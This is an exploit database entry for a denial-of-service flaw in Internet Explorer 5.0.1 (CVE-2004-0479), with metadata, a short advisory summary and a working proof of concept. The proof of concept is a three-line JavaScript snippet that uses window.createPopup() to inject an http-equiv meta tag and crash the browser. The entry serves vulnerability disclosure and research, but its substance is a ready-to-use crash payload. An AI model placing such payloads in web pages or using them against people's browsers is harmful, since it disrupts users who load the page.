Microsoft Internet Explorer 5.0.1 - http-equiv Meta Tag Denial of Service

Author: Mike Mauler
type: dos
platform: windows
port: 
date_added: 2004-05-14 
date_updated: 2013-01-15 
verified: 1 
codes: CVE-2004-0479;OSVDB-15222 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/10351/info

It has been reported that Internet Explorer is prone to a denial of service vulnerability when processing a malicious script containing the 'window.createPopup()' method to invoke the 'http-equiv' meta tag.

This issue could be exploited by a remote attacker to cause a denial of service condition in the browser.

<script type="text/javascript">
Wnd = window.createPopup();
Wnd.document.body.innerHTML='<meta http-equiv="imagetoolbar" content="no">';
</script>